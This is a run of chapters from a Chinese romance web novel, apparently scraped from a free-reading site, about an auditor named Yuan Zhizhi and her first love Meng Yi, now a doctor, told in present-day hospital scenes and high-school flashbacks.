这两点没有一点是她能做到的,只能打着哈哈拿了药单子去缴费。 元知知看她苍白的脸色:“还是去二楼打个葡萄糖吧,我怕你等会儿晕了。” 抬起腕表一看时间一咬牙她还是答应了,那么大一罐葡萄糖要直接喝下去太腻,纠结一番还是老老实实选择用点滴打进去。 手上几张不同科室开出的缴费单混在一起,章汝舟恨恨道:“上个班上出一身病,等这个项目结束我立马辞职。” “诶知知,那边好像有个医生一直在看你诶,奇了怪了,难道认识你?不过长得好帅。” 元知知被她的胳膊肘捅的不得不抬眼,章汝舟果然是状态不好连记忆力都下降了,前几天她还在医院花园里指着人家说没见过这么帅的医生,这才多久已经忘干净了。 而且那个医生一直看她其实也没什么好奇怪的,她路上遇见面熟的人也会多看两眼,何况那是她初恋男友。 只是,她和孟懿的相遇实在是太频繁了,她再一次生出这样的感慨。 两人已经看见彼此,元知知合上电脑向他走去。 孟懿随意的靠在墙边,白大褂严丝合缝扣着,一只手插在兜里,明明是年近而立的医生,做起这样的动作来倒还不失少年气。 “你陪同事来看病?” 元知知点头。 “做你们这一行的辛苦。” “你们医生也不比我们轻松。” 她的手指微微捻着衣袖一角,动作微不可察,但孟懿太熟悉她了,这是她精神戒备时下意识的身体反应。 他突然有些想抽烟,但这是在医院。 “还有多久离开海河市?” 元知知想起办公室长长会议桌上堆满的文件,一时也说不准:“可能还要些日子。” “噢这样。” “你男朋友也在海河市工作?” 元知知不想撒谎,没有作答,孟懿当她默认了:“那你回去后就要异地了?这段时间怎么不来陪陪你,走了他能舍得?” 不知哪来的冲动话还没过一遍脑子她就直接开口:“不会,他没有那么黏人。” 黏人的是孟懿,他们都知道。 高三上学期甫一开学元知知就请了一段很长时间的假,她的父亲作为重要发言人需要去德国参加一个学术论坛,开明的元先生张女士一合计干脆给自己快要高考的女儿请个长假放松一下。 那时她和孟懿日夜期盼着开学能见面,没曾想还没见上两面元知知直接被自家爸妈绑上了飞机。 她整个人恹恹了好几天,直到孟懿突然出现在法兰克福异国他乡的陌生街道上,就在她的眼前,像做梦一样。 “你是不是又逃课了!” 高大的少年放开握着的行李箱把手,一手故作帅气的插在兜里,一手向她张开:“喂,第一句话是问我有没有逃课吗?” 元知知的裙摆被风吹动,像一只蝴蝶一样翩跹着扑进了孟懿怀中,耍帅的少年最终还是用两只手稳稳接住了他心爱的女孩,将她牢牢拥在怀中。 “刚刚那句话不算数,第一句话是我好想你。” 孟懿轻轻吻在她的发顶。 十二个小时的飞行,他们连着周末秘密约会了三天,终于还是在最后一天晚上八点分开,红眼航班是他能想出来的尽可能和她多待一会儿的唯一办法。 时间很紧,人也匆忙,但孟懿还是硬生生拖到了不得不分开的时候才提起行李箱匆忙告别。 元知知用接下来的一整周回忆着这三天短暂的相聚,但在第二个周末他又出现了。 “对不起,但我太想你了。” 元知知伸手用力拧了一把还没来得及换下校服的少年的腰,如愿以偿听到他夸张“嘶”了一声。 “说什么对不起。” “我只是怕你因为我的冲动感到负担,但我实在无法忍受又是整整一周不能见你。” “可是我也怕你会觉得我没你那么勇敢怕你觉得我不够喜欢你。” 孟懿年少时不如后来那么藏的住情绪,尤其是在元知知面前,不悦的神情当即浮现在他那张俊郎的脸上:“瞎说什么,和你谈恋爱是让你瞎比较的吗,你才是最好最勇敢的,是我不如你。” 青春时期的恋爱就是这么无厘头而幼稚,又那么纯粹热烈。 他们都怕亏欠彼此,但他们心意相通,所以从不疲惫与厌倦。 在第三周的周末到来前,元知知先孟懿一步回了国,给参加论坛的父母留了言后就径直赶往机场,这是她十余年人生里做过最胆大的事了。 孟懿离不开她,她又何尝能离开他呢。 他们在清晨的校园里偷偷交换了一个青涩急促的吻。 “孟懿,像你这么黏人的以后离了我可怎么办啊。” “那就没法活了。” 他们笑作一团。 事实证明这个世界上没有谁离开谁不能活 13. 第 13 章 《分手后挂了初恋的号》全本免费阅读 “喂,知知啊,你到底什么时候能忙完,这都快一个月了,人家林教授的儿子追求者可不少,你要再不回来我可看不住这么好个大小伙子了啊。“ 这正合了元知知的意,她巴不得张女士给她安排的相亲对象全部半路夭折在其他有缘人手里。 但嘴上肯定不能这么说,否则张女士还会安排更多拿着爱的号码牌的男嘉宾:“我知道了妈,最近手上工作正紧要,实在走不开,不然我肯定请假都要回来见一见。” “我就说你当初该再读个博当老师的,安安稳稳在父母身边多好,像现在这样买套房子给你装的舒舒服服结果一年到头住不满一个月有什么意思,觉也睡不好饭也吃不好,妈一想起心里就难受。” 一向强势的张女士也就只有在元知知面前有这么柔和感性的一面了,她心里也不禁软下来:“好了妈,我都知道的,我会好好爱护自己身体,现在的工作我挺满意的,心里都有数,你就别担心了。” “而且,手上这个项目就在医院里呢,身体有什么不舒服第一时间就能解决,还没来得及真的生病呢就能给人调养好了。” 这个带着抚慰性质的小玩笑显然并没有能将张女士抚慰住,反而让她提高了嗓子:“怎么说这种话,最好是一点不舒服都不要有,你这孩子怎么乱说话的,快点呸呸呸,呸三声。” 元知知跟着做了,又聊了大半晌才算把这茬揭过,好在电话中只是继续聊着母女间温馨的家常,没有再提起相亲的事情了。 “噢对了,你爸过几天——” 她爸元教授好像也在电话旁边,不知说了什么后张女士又截断了刚才的话头:“算了,等定下来再跟你说,免得白忙活一场。” 元知知也无心追问,她在计划明天去高铁站接陆昱的时间。 华清一院的项目进展小半,陆昱也刚好得空抽出身来可以回华清市核查他们的情况。 本来不用去接他,但这几天组里新招了几个在校实习生,手上的活松快了一些。章汝舟便劝她借此让自己放松半天,她自然也是应下这好意。 华清市有两个高铁站,陆昱到达的站点是西站,是火车和高铁并存的老站,位置在整个城市最边缘,元知知开车过去也花了将近一个小时。 好在陆昱提前给她发过消息列车晚点,她到达时时间还充裕。 车载音响里放着她最近喜欢听的歌,将座椅稍稍调整后整个人放空大脑舒适靠坐在驾驶座上,目光漫无目的四处游走,从天上的白云看到路边的梧桐树,短暂的安静像是治愈繁忙的圣手,精神终于能一点点放松下来。 四处游走的视线最终落在华清西站的出站口上,陆昱好像出来了。 她稍稍坐直些许才发现这只是个和陆昱身形有些相似的男人,刚刚晃眼看错了。 直到她紧锁的车门被拉动了一下,随即是第二下。 那个和陆昱有些相似的男人弓下背,似乎有些疑惑的看着车内的人,但防窥玻璃让他什么也看不见。 元知知倒是看清楚了他的脸,原来还真只有身形和陆昱相似,陆昱是一身内敛的匪气,是跟客户过招跟同期抢项目摸爬滚打磨炼出来的。 车窗前的男人则是清隽的文气,就连附身在车窗前皱眉时都是斯文的,他见车内人没什么反应,抬手轻而有规律的敲了三下车窗。 元知知把车窗按开了半扇。 “您好,请问可以开一下车门和后备箱吗?我有一个箱子需要放在后面。” 浓密的睫毛随着眼睛眨动如鸦羽般轻轻扑扇着,明晃晃彰显着主人的疑惑:“不好意思,请问你是?” 春末的天气已经有些燥热了,男人显然是刚到华清市错估了这边的天气,敞开的外套里还有一件针织背心,他的额上已经渗出了细密的汗珠。 但和她说话时的语气还是温和如初,连吐字的节奏都没变,不见有一丝急躁:“我是尾号5276的乘客,昨天晚上已经提前预约过了,麻烦您核对一下订单信息。” 元知知了然,这是打了网约车结果搞错了车。 但华清西站这荒郊野岭的近年来车次被砍了大半,好半晌不见有几个乘客出来,周遭更是只有她一辆车停在这儿,认错也无可厚非。 “你好,你联系一下预约的司机看看是不是还没来,我也是来接朋友的。” 男人这才恍然发觉自己认错了车,他走到车头看了看,车牌号除了代表城市的字母的确没有一个是重合的。 车窗没有摇上来,元知知眼睁睁看着回到副驾车窗前的男人白净的面皮上一点一点漫上薄红,接着颜色加深一直蔓延到耳根子,玉一样的耳垂变得像块红翡翠。 “实在不好意思,你们都是白色帕萨特,我没注意看车牌就认错了,不好意思给您添麻烦了。” “没事。”元知知摆摆手,男人拖着行李箱站回了路边,脸颊上的红很快消散,但耳垂的颜色却顽强的暴露着主人方才的窘迫。 她按亮手机却发现距离陆昱说的到站时间已经过去了十分钟。 打开微信,早在五分钟前他就已经发了消息告诉自己出站了,就站在路边等她。 元知知四下张望一圈,除了零散几个出站的旅客和站在自己车边的那个男人,其他的半个人影都没有了。 恰好在这时电话铃响起,陆昱显然也没找到她在哪里。 “喂?你在哪呢?这一条路我都走到头了也没见着你发的那车牌啊。” “就在出站口隔了一条马路的街边,你应该出站就能看到我才对。” “不对,出站口面前就是一片巨大的广场,马路对面也都被拦了,上面是高架桥全是监控,对面哪里能停车?” 元知知再度摇下车窗看了周围,连绿化带都欠奉哪来的高架桥。 听着电话里陆昱人声鼎沸、喇叭马达各自轰鸣的背景音,元知知默然片刻。 周遭传进车里最大的声音就是刚才认错车的那男人并不高的通话声。 重新举起手机放在耳边,她说道:“喂,陆哥,你看看清楚你的位置到底在哪里?” 那边短暂传来嘈杂的喧闹声,然后重新被清晰的人声掩盖过去:“遭了元知知,我发现一个大问题。” 14. 第 14 章 《分手后挂了初恋的号》全本免费阅读 多了一位乘客的车很快行驶在大路上,两人虽并排而坐,但一个开车注视前方,一个认真欣赏着沿途风景。 客气过一番之后就谁也没主动搭理谁了。 元知知怕自己打瞌睡,趁着红绿灯间隙按开了车载音响,还连着她手机里的歌单。 放的是她一直很喜欢的《anditsoundslike》。 “……andthenirealized……” 元知知随着音响里的音乐轻轻哼唱着,余光瞥见副驾上的男人也在随着节奏轻轻点着下巴。 “atleasthalfthetime,”清亮的女声与磁性的男声同时响起,像银白色的月光混杂着灿金色的阳光,共同组成一支奇妙的乐章,她诧异的侧目看了男人一眼,但红灯的最后一秒在此刻走完,她不得不重新目视前方,两人都没有看向彼此,但声音出奇的契合,“itsfunnyconversationaboutthebreezeoutside(谈论起外面的微风时很有趣)。” 边低声唱着这一句元知知边摇下了半扇窗户,两边的微风穿堂而过,轻轻拂过两人的耳畔,独特的浪漫将他们都逗笑了。 没有停顿的,他们合唱完了剩下半首歌。 “我在实验室的时候总放这首歌。”这一次先开口的竟然是显得有些距离感与疏离的男人。 “我最喜欢夏天,这首歌的旋律很适合在夏天听。” 她在华清市度过了三年夏天,第一年的夏天她成了华清一中的转学生,第二年的夏天她成了孟懿的同桌,第三年的夏天她和孟懿分了手。 时隔数年后的现在,将迎来她在华清的第四个夏天。 “看来歌手小姐很享受在春日里感受夏日的氛围。” 元知知听到他的称呼愣了一下,但也没反驳:“数着日历也快要到初夏了,身边的一切好像都已经进入了夏日的状态,除了你的穿着。” 一切都渐渐有了夏天的味道,翠绿的树冠、挡不住的烈阳和夹杂着憧憬的微风,以及女人身上亮眼又张扬的红裙。 男人闻言蹙眉看了眼自己身上的外套和内里的毛线背心,脸上虽再度弥漫些被打趣的薄红,但也禁不住放松的笑出了声。 “你提醒我了,满箱子衣服都带错了季节,下车第一件事恐怕要先找一家服装店买几身衣服。” 本属于陌生人间尴尬而凝滞的氛围烟消云散,他们自然而然的与彼此有一搭没一搭的聊了起来。 元知知知道了男人是来华清市出差的,知道他刚留学回来,如今是一个在高校任职的青年教师,还知道他学的是自动化。 “德国那边的确有好几个实验室还不错,但父母年纪都不小了扎根在国内,所以我还是回来了。” “何况,”男人低低补充一句,好似有些不好意思,“我虽非什么天才紫微星,但也想回国做些力所能及的贡献。” 元知知笑得眯了眼睛:“你和我爸肯定会很有共同语言,不过,我很佩服你们这样的人。” “能在德国按时的顺利毕业,这位歌唱家先生的能力应该不是自己口中说的那样吧。” 提起德国的那几年求学生涯,男人处变不惊的温和也破裂几分,似乎对此心有余悸,逗得元知知再度笑起来。 一个多小时很快过去,元知知按照自己方便的路线把男人放到了离他住处最近的一个地铁口,他们挥手道别,带着笑意各自离开。 繁忙的工作重压下和近些日子接二连三的各种情况,元知知很久没有感受过这么彻底的放松了,那是一个很有涵养又见多识广的男人,和他成为短暂的一小时朋友是一件值得开心的事情。 和陌生人聊天的确会是一种蛮有意思的经历。 虽然他们到最后也不知道彼此名字,只留下一个“歌手小姐”和“歌唱家先生”这样滑稽可笑的称呼。 - 回到华清一院后陆昱已经收拾妥当在办公室里皱着眉头翻底稿了。 边上几个新来的实习生这是第一次见到经历,面上是藏不住的紧张。 元知知敲敲桌面示意他们可以去吃饭,实习生们互相对视一眼后感激的看向她,然后如释重负马不停蹄的退了出去。 “做得不错,我就说你已经有独立带队的能力了。” “那你刚刚还那副表情,没看把人都吓坏了。” 陆昱一脸无辜:“那是他们不熟悉我,你看看你不就没被吓到。” 元知知抓过刚刚放在车上的钥匙,“行了,陆哥你慢慢看,我去还车给人家,中午把饭打包回来给你。” 陆昱头也没抬。 食堂里。 一个中年医生一脸稀奇:“孟医生以往不是经常很晚才来食堂吗?最近怎么总是能准点到。” 另一个医生也附和道:“是啊,小孟以前总说人多懒得挤,食堂都快关了才悠哉悠哉来打饭。” 孟懿“嗯”了一声:“规律一点吃饭对胃好。” 这话一出大家的谈话很快转变到了“胃病”和“医生怎样保重自己的身体”这类话题上,途中还招手喊来一个消化内科的医生一起坐过来吃饭。 小蔡医生坐在孟懿旁边,完全无心参与任何话题,“已经好几天没在食堂遇到元老师了,要不是昨天她来找我借车,恐怕面都见不着。” 虽然孟医生说元知知已经有男朋友了,但蔡医生怎么看都觉得不像真的,但要亲口问又怕自己意图太明显直接把人推开了,就只能这样怀抱着隐秘的期望拖着。 孟懿停下筷子:“她来找你借车?” “对啊,说是要接个人,不过她来的时候有病人我们也没聊上两句,不知道什么时候才能碰见她。” “蔡医生。”刚念叨完那个心心念念的声音就在不远处响起,蔡医生一瞬间还以为是出现幻觉了。 元知知端着餐盘走过来,先把车钥匙递给他:“谢谢你的车,油已经加满了。” 蔡医生立马扯出笑容道:“不客气,你以后还要用的话再找我就可以了。” 一旁的孟懿突然指着自己对面的空位置开口:“坐下吃饭吧。” 他和蔡医生并排而坐,恰巧对面也空出了两个挨在一起的餐凳。 蔡医生愣了半秒不到,一边 15. 第 15 章 《分手后挂了初恋的号》全本免费阅读 孟懿回家时发现房门前摆放了两双鞋,一双皮鞋、一双时下流行的潮鞋款式。 客房门的漏隙处渗出暖黄色的光,他打开客厅的灯,暖黄色的光脱离了黑暗的映衬迅速融入客厅的明亮里。 防盗门“砰”的一声被关上,客房里的人像是因这突如其来的声音受到惊扰,门把手被转动开来。 孟懿喊了一声“舅舅。” 于健点点头,他身后的男孩怯怯喊了一声“哥哥”。 他没有理会。 “擅自到你这屋里来没有知会一声,可别怪舅舅啊,实在是医院住的憋闷,回宅子你妈不气我就算好的了,想来想去就来你这躲个清闲。” 于健名下的房产于薇都知道,唯一不知道的却是自己亲生儿子的房产。 孟懿将目光移向于健背后的少年,他是于薇的儿子,也是他同母异父的亲弟弟,生父好像是个演员,和于薇至今是恋爱关系。 拿钱砸出来的那种恋爱关系。 他记不清这个少年的名字,不过那也不是什么重要的事情。 “舅舅不用担心,安心在这里住下就好,后面一段时间我应该不会住在家里。” 他自顾自进了房间,于健微微叹口气:“你哥他……小时候也是个温柔的好孩子,后来你妈妈跟她前夫不知道怎么养的孩子,接到我身边的时候就已经不爱搭理人了,现在倒是成熟不少,但还是冷冰冰的心性,你别太在意。” 少年点点头,回忆起刚刚在书房里无意间瞥见的相框。 或许他这个哥哥……应该也有过一段不那么冰冷的日子吧。 舅舅年龄大了,加上刚生了一场病,怕打扰他休息兄弟俩默契的让他独占一间客房。 孟懿转头就看见少年正抱着自己的被子往沙发上挪,他不是第一次来孟懿家,以前被于薇打的不敢回家时他也被舅舅带来这个哥哥家躲过两天,只不过每次都和舅舅挤在客房里睡,他很少单独面对孟懿。 “于——” “于安许。” 孟懿点头:“于安许,你可以去我屋里睡。” 于安许瞪大眼睛,那双修长漂亮的桃花眼不是来自于家,应当是从他的演员父亲那里继承过来的,瞪大了看着人时竟有些楚楚可怜:“那哥哥你呢?” “不用管我,我今天不在家里住。” 孟懿从刚刚起就一直在收拾行李,于安许咬紧了下唇,踟蹰半晌后终于还是开口问道:“是因为我吗?” “什么?” “是因为我哥哥才不愿意回家住吗?因为哥哥讨厌我?” 孟懿第一次发现自己这个弟弟并非真的沉默寡言胆小怕事,反倒有着直来直往的勇气。 “不关你的事,不用多想。” 于安许哦了一声,看表情像是放松了些。 “那你这几天要去哪里住?医院吗?” “嗯。” 他想起下午在科室里时科主任一脸疑惑问他:“申请宿舍?小孟不是本地人么。” “是,我可以多值两天夜班。” “不是这个意思,现在住宿舍的除了新进的医生和规培生都少了,空着也是空着,孟医生要是想申请也没问题。只是路政那边发了通知,这段时间宿舍区供电可能会被影响,住医院肯定没有你住在家里方便。” “没事,我就住到路政抢修结束就可以,供电恢复稳定了我就不住宿舍了。” 科主任一脸不解,孟懿也没有好心解答他的疑问。 没有多少东西,他合上了行李箱。 于安许突然开口:“哥,你不带那个相框里的照片么?” “什么相框?” “就是你书房桌上那个,坐在桌前就能看到的那张照片,你和一个女孩儿的。” 孟懿显而易见的怔然,接着若无其事转过头:“旧照片,没有什么特别的,没必要带。” 于安许懵懂点头:“我看放在那个位置,还以为是对你来说很重要的人。” 沉默许久,他才听到男人声音沉沉响起:“……你想多了。” 或许是因为这是兄弟俩唯一一次交谈超过三句话,于安许有些放松,潜意识里有着本能的对兄长的孺慕,尤其是这还是一个敢反抗母亲于薇的兄长。 “哥,像我这么大的时候你谈过恋爱吗?” 这话太没有分寸,就像一对寻常兄弟间的谈话,但他们只是血缘上有着联系而已,于安许知道自己得意忘形问错话了,惶惶闭上了嘴,觑着孟懿的脸色。 但他没生气,只是问道:“你?你现在多大了?” “16岁。” “16岁么,那时候还没有。” 也就是说后来就有了?少年没敢把这样的言外之意问出来。 16岁的孟懿在全市排行前三的华清一中读高一,是以第一名的成绩入学,但他却超出人们对学霸的印象。 打架逃课,喝酒抽烟,没有一个被他落下。 很快孟懿就被班里的人在姓氏后面贯上了“哥”,“孟哥”是一群大小伙子对他的最高尊称。 但他对此很无所谓,甚至有些厌烦。 刺眼的红色是他青春岁月里最开始的底色,狂躁的脾气、血腥的味道、还有无时无刻不存在的厌烦,他厌烦一切,没有任何例外。 - 元知知很不愿意转学到华清市,她在海河市一路从附属幼儿园读到附小再到附中,身边的始终是那一群熟悉的同学,她在自己的舒适圈待得很安全,都已经保送到高中部读了一学期了元教授和张女士突然宣布要给她转学。 因此她到华清一中的第一天是臭着脸报道的,走在这个不算大的校园里她在电话中和朋友几乎把这个学校的所有缺点都夸大了一遍。 校园太小、操场太破、足球场草皮已经发黑、宿舍楼没有空调,还有就是华清人的方言太难听了。 这完全是夸大其词,尤其是方言这一点,她纯粹是因为排斥转学把怒火撒到了无辜的语言上面。 一声冷哼传来,元知知吓了一跳,慌忙挂了电话四处张望,一个人影都没有。 “嘁,还有无聊的男生装神弄鬼。”在她的心里华清一中瞬间罪加一等。 “大家好,我叫元知知,是新来的转学生,很荣幸能进入华清一中这么好的学校和六班这么优秀的班集体,以后要麻烦同学们多多关照了 16. 第 16 章 《分手后挂了初恋的号》全本免费阅读 少年长得很好看,在大部分同龄男生都不修边幅满脸油腻甚至一大片一大片长着青春痘的时候,眼前的少年实在是让人眼前一亮。 虽是坐着,但校服下的身形高挑瘦削,随意屈起的臂膀有着隐隐约约的肌肉线条,属于少年的脸已经棱角分明,乌发零碎散在额前,长长的睫毛有些乖顺的盖在他的黑眸前,但遮不住他强烈的攻击性。 元知知眼里的错愕被孟懿尽收眼底,红毛和绿毛拼命朝他使眼色,心下着急的不得了,孟哥平常也不这样啊,怎么刚来就对人家小姑娘恶语相向。 从小到大没遇到过这么恶劣的人!元知知气的涨红了脸。 孟懿眼皮垂了下去,像是根本懒得看人,漫不经心吐出四个字:“梧桐大道。” 元知知能感觉到自己脸颊在发烫,这一回不是气的,是羞的。 刚刚和朋友打电话时就在学校里的梧桐大道上,原来那时候真的有人在,还全部听见了。她仔细回想自己是怎么吐槽华清一中的,越想越羞躁,再一联想刚才在台上自我介绍时是怎么夸这学校的,更是觉得尴尬。 她一扭头把脸都快埋到语文课本里,留给三人的是一个不愿意搭理任何人的背影。 红毛不敢生气但含着幽怨的盯着孟懿,生怕元知知迁怒他不肯借漫画了。 绿毛也悄悄附身过去:“老大你说你怎么想的,我妈说了这个年纪的小姑娘脸皮薄,你这么一说等会儿把人气哭了怎么办?” 孟懿嗤笑一声:“气哭?那也太脆弱了。” 红毛绿毛见他油盐不进的也不多嘴了,上课铃响起,他们在自己课桌上垒高课本当作枕头,趴下的瞬间就进入睡眠。 孟懿也趴下打算趁着语文课补个觉,但一直到语文老师课文都已经讲到了三分之一他都还没能睡着。 其实他自己也没想明白刚刚犯什么贱呢非要去招惹人家一句,他又不是什么爱多管闲事的人,就连红毛绿毛也是当初来挑衅被他打服了后才非要跟在屁股后面喊大哥的。 他生性就不爱主动找麻烦。 越想越心烦,孟懿一时间没想起来空了许久的前座如今已经有了主人,他烦躁的一脚踢在了前面的铁质凳脚上,踢动了,但只往前移动了一点点。 再抬头时发现元知知正恶狠狠瞪着她,这样的表情出现在总是挂着假笑的少女身上尤为鲜活。 孟懿看愣了,等反应过来要道歉时女孩已经转过头去,纤细的背影透着愤怒的情绪,铁质的椅子脚被狠狠往后一推,连带着把他的脚也带着往后挪。 还险些把他脚尖碾了。 算了,反正大家都叫他“校霸”,没道歉就没道歉吧。 他埋头又想睡,但头脑却比刚才更清醒了,他干脆一抬头,开始盯着前面的人背影发呆。 都怪元知知,好端端的坐在他前面干什么,挡了空气流通连觉都不好睡了。 少年心情不好的抓了抓头发,霸道的打算想个办法把这个转学生从他前桌赶走。 突然间孟懿视线聚焦了,他发现前座的女孩儿几乎大半节课都埋着头,肩膀还时不时轻微抖动,刚刚转头瞪他的时候眼角似乎还亮晶晶的。 他想起绿毛说的“人脸皮薄,别把人气哭了”,心里升起不好的预感。 不会真有这么脆弱吧? 孟懿抓紧了手上根本没打开笔帽的签字笔,开始观察元知知,但再怎么看也只能看到一个背影。 这转学生果然烦人。 下课铃响起来的时候元知知终于抬头了,孟懿也终于确定她刚刚上课的确是在偷偷抹眼泪。 元知知刚合上手上的漫画肩膀就被戳了戳,她转头去看,是孟懿的签字笔,刚被漫画逗乐不久的心情立马落到低处。 “你刚刚上课在干什么?” 元知知不动声色把漫画塞进桌洞里:“听课啊。” “只是听课吗?” 元知知蹙眉:“不然还能干嘛,你——你叫什么名字?” 孟懿不知道她突然问这个干什么,话题跳跃的太快让他有些摸不着什么意思,但还是老实回答道:“孟懿。” 少女点点头示意自己知道了,接着道:“孟懿,你真的好讨厌。” 她不会骂人,骂别人“讨厌”在其他人眼里甚至会有点幼稚,但即使是这样还是把孟懿骂懵了,这还是第一次有人指着他的鼻子骂他讨厌。 元知知转过头去又不肯理他了,孟懿气呼呼的把写着“对不起”三个字的纸条揉成一团砸在她的课桌上,他骂了她,她也骂了他,这下两个人扯平了。 此后一段时间里他们虽是前后桌,但彼此一句话都没讲过,孟懿上课有时睡觉,有时发呆,更多的时候则是在校外的网吧。 “不是我说,知知那手字写的可是真好看啊。” “是啊,她上课也不怎么听,但每次老刘抽问她都能答上来,等这学期结束不会要夺了老大第一的宝座吧。” 孟懿一人丢了一支笔过去,正中绿毛和红毛的脑门:“有那个实力就来夺。” 或许是因为他们这话,上课睡不着时他也不发呆了,反而开始注意元知知在干嘛。 他发现她真的很聪明,老刘是出压轴题的一把好手,最开始的周考最后一道大题她还拿不全分,后来她拿着题去问第二名的男生,两人互相讲了几天的题后同一类题她就很少再有丢分的了。 孟懿有些不屑,带着少年人独有的傲气:“问他还不如问我,就这么几道题讲这么久,浪费时间。” 红毛看了眼和第二名讨论着新一周周考题目的元知知,凑过来小声道:“老大你忘了除了期末考试你其它所有考试都交白卷的事情了吗?你现在在人家眼里是倒数第一啊!” “要真来问你题目只有两种可能,要不疯了要不喜欢你。” “滚。” 孟懿震惊的发现自己居然产生了下次月考好好考一次让她开开眼的想法,意识到后他几乎是立即把这样的想法从自己脑子里清除了出去。 荒谬。 可笑。 浪费时间。 英语课上,孟懿发现侧过头和人说话的元知知睫毛很长,他移开目光,以前这个座位没人时他总是盯着空座位走神,现在有人了就变成盯着这个座位上的人走神了。 好烦,老刘为什么要把转学生安排在这个位置上。 红毛和绿毛也不睡觉了,成天就着漫画情节和元知知讨论来讨论去,直吵得孟懿也睡不着。 他 17. 第 17 章 《分手后挂了初恋的号》全本免费阅读 气氛一时间陷入凝滞,班上不少人都小心翼翼关注着这边。 孟懿凌厉的目光扫视一圈,所有人又不约而同低下头盯着课本看,只有耳朵还高高竖起。 “你怎么坐这里来了?”孟懿拧眉不解,他记得元知知一直钟爱的是靠窗边的位置,这次开学座位也是按上学期期末成绩自行选择,难道是她自己选的要坐他旁边? 麻烦。 "老刘安排的,你有什么意见去找他。“ “现在,你把书给我捡起来。" 孟懿侧了侧头不想理会,眼角眉梢都带着显而易见的不耐与厌烦,两人僵持着。 红毛和绿毛眼见着老大这幅气急了的模样生怕他动起手来,连忙想蹲下把散落的课本收拾好。 但被元知知拦住了,她上前一步,两人间的距离稍稍拉近了些,孟懿有些不适的想要后退。 但元知知伸手一把拽住了他的腹部的校服布料,弹性不足的布料被拉扯的变形,她力气不算大,但孟懿此刻的形象还是变得有些滑稽可笑。 “我要你给我捡起来。” 红毛和绿毛提心吊胆的看着他们老大,准备一等他暴起就冲上去拦人,但孟懿竟然没有犹豫太久,从那只拽着他校服的纤手挣脱出来后径直蹲下了身。 课本被一本本放在元知知桌上,她冷哼一声,越过还没起身的少年拉开椅子坐下。 孟懿烦躁抓了抓头发。 他又逃课了。 “不像话,不像话!开学第一节收心课就逃课,以后还怎么得了!” “知知,老师这么安排座位就是对你寄予了厚望,在不影响自己学习的情况下......也多多激发其他同学对于学习的主观能动性,老师希望你能顺便监督带动着你的同桌。” “他敢不听话你就来找我,这一次我绝对不轻轻放过他。” 元知知暗自腹诽老刘从来也没管住过孟懿,还能怎么不放过他。 但她不介意给孟懿添点堵。 孟懿熬完了老刘的课后又一次提起书包起身,元知知伸脚勾住了他的凳子:“干什么去?” 他瞥了她一眼,没作声,绕过凳子径直往外走去。 “你要是再不好好上课,就算背后偷偷学习也跟不上了,还想维持年级第一的成绩吗?” 孟懿离开的背影连一丝停顿都没有,很快消失在元知知眼中。 她收回目光往桌上一靠,伸手戳了戳红毛的背:“问你个事儿,关于你老大的。” - 元知知踏入和学校隔了一条街的网吧时还是有些下意识的紧张,她只在初中时跟着堂哥来过一次这种地方,她哥打游戏她就在旁边刷题,这还是第一次独自踏入。 前台的小哥打着哈欠抬眼,显然是没见过这么早来上网的,而且还光明正大穿着校服来:“诶诶诶,我们不接待未成年啊。” 元知知冲他微笑:“我不是来上网的,我来找人。” “找人?”小哥脑海里很快冒出一个拽的二五八万的人影,一看刚进来那女孩儿去往的包厢方向,还真是那小子。 看不出来啊,他还以为没有女孩儿敢接近那小子,没想到居然还有个这么漂亮的女朋友。 孟懿已经很久没有体会过被别人叫醒的感觉了,一睁眼看到元知知那双琉璃一样清澈的眸子被吓得往后一缩。 “还以为你真是什么不上课就能考第一的天才呢,原来是在网吧偷偷学习啊。” 孟懿一把扯过她手上拿着的厚厚一沓卷子,“你怎么在这儿?” 元知知看了一眼他身下的电动摇椅:“你天天就睡这儿?能睡好?” 孟懿干脆眼睛一闭不理她了。 “别装睡了,我知道你醒了,醒了就跟我去上学。” 这一次少年睁开了眼睛,漆黑的瞳孔里写着明晃晃的三个字:你疯了? “是老刘让我监督你好好学习。” 孟懿嗤笑一声:“元知知你都多大了,别再干拿着鸡毛当令箭这么幼稚的事情。” 元知知被他这么一刺倒也不生气:“起来洗一把脸跟我好好上课去吧。” 孟懿这次彻底不理她了,闭着眼睛往后一靠又开始装睡。 包厢不大没有多余的椅子,元知知干脆倚靠在电脑桌前拿出单词本趁着晨间记忆背了起来。 分针走到二十的位置,她背起书包走出包厢,回忆着孟懿一脸憋闷的表情心情颇好的赶去学校上早读。 几乎是她刚一离开,“熟睡”的孟懿就立即睁了眼。 第二天第三天......元知知基本上每天早晨都准时到网吧报道,孟懿再没有一觉睡到中午过,只能趁她走了后再眯眼补觉。 但十次里有九次都没办法再度入睡,无奈他只能将夜里的入眠时间从凌晨三四点提早到了凌晨十二点。 元知知扯过他的手腕,少女温热的体温牢牢锁定在他的腕上,孟懿不自然抿了抿唇但没有挣脱。 运动手表上正显示着睡眠情况:“七个半小时,不错嘛,睡得越来越早了。” “嗯。” “今天也不去上课?” 一提到这个话题孟懿又不理她了,扯了扯搭在身上的空调被盖在了脸上。 原本属于女孩儿馨香的味道被网吧里浓重的烟味覆盖,元知知一把扯过了他脸上的空调被:“要不是看你睡觉连床被子都没有我才不给你,现在给我弄得臭烘烘的,难闻死了。” 没了被子遮脸孟懿干脆侧头阖目,就是不拿正脸对着她。 元知知抬腕看了眼手表,今天升旗仪式她要代表六班国旗下讲话,得提前去学校走一遍台了。 包厢门被关上的声音不重,但像敲在孟懿的心间,他按开手机,时间还早,离她往常离开的点还差半个小时。他盯着合上的门看了一会儿,眼里是浓浓的不解。 下一刻门把手转动的声音传来,孟懿立即把头转回来对着根本没有开机的电脑屏幕,认真的像开了一局游戏。 但进来的不是元知知,是前台小哥。 “今天那姑娘怎么走的这么早?你惹人家生气了?” 孟懿的背影直挺挺的:“......没有。” “是吗,”这些天前台小哥也看明白了,那女孩儿大概率不是孟懿女朋友,只是一个执著的追求者,“也难怪,人家一直热脸贴冷屁股,你这幅油盐不进的样子换个人估计也早放弃了。” 他冷冰冰的神情出现一丝微不可察的裂痕,轻轻“嘁”了一声。 18. 第 18 章 《分手后挂了初恋的号》全本免费阅读 高二的一整年每次月考后同学们都有调整过位置,唯有孟懿和元知知这一对同桌始终没变过。 老刘也有在期中考试后问过元知知意愿,出乎意料的是她竟然觉得这个安排挺好的,没必要换位置,于是他俩就彻底成了对方的固定同桌。 不过高二两个学期的年级第一都从孟懿变成了元知知:“我早说过你这样天天不听课,就算背后偷偷学也是跟不上的。” 孟懿的声音从盖着脸的校服外套下闷闷传来:“我上了课。” 